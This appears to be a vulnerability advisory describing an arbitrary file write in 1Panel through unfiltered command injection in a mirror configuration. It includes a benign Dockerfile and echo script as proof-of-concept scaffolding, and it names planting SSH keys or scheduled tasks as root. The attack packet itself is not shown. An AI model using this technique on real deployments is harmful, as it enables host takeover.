1Panel arbitrary file write vulnerability

Summary

There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs.
We can use the following mirror configuration write symbol > to achieve arbitrary file writing

PoC

Dockerfile

FROM bash:latest

COPY echo.sh /usr/local/bin/echo.sh
RUN chmod +x /usr/local/bin/echo.sh
CMD ["echo.sh"]

echo.sh

#!/usr/local/bin/bash
echo "Hello, World!"

Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container
Send the following packet, taking care to change the containerID to the malicious container we constructed

Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges

Or write a timed task to execute any command.

Impact

The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover
